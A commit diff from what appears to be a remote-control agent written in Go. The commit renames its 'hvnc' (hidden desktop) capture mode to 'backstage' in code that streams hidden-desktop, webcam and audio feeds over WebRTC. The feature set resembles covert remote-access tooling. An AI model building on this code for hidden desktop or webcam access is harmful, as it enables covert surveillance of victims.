rename all instances of "hvnc" to "backstage"

This commit is contained in:
KingKDot
2026-07-13 10:22:19 -05:00
parent 447efa5192
commit 6d1a20206d
61 changed files with 1653 additions and 1653 deletions
+6 -6
View File
@@ -25,8 +25,8 @@ func pcm16BytesToInt16(chunk []byte) []int16 {
func kindFromPayload(payload map[string]interface{}) webrtcpub.Kind {
switch s, _ := payload["kind"].(string); s {
case "hvnc":
return webrtcpub.KindHVNC
case "backstage":
return webrtcpub.Kindbackstage
case "webcam":
return webrtcpub.KindWebcam
case "audio":
@@ -81,8 +81,8 @@ func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, pa
// Force a fresh SPS/PPS/IDR so the freshly subscribed viewer can
// decode immediately instead of waiting for the next natural IDR.
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}
@@ -142,8 +142,8 @@ func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, p
return nil
}
if hasVideo {
if kind == webrtcpub.KindHVNC {
capture.ResetPrevHVNC()
if kind == webrtcpub.Kindbackstage {
capture.ResetPrevbackstage()
} else {
capture.ResetPrev()
}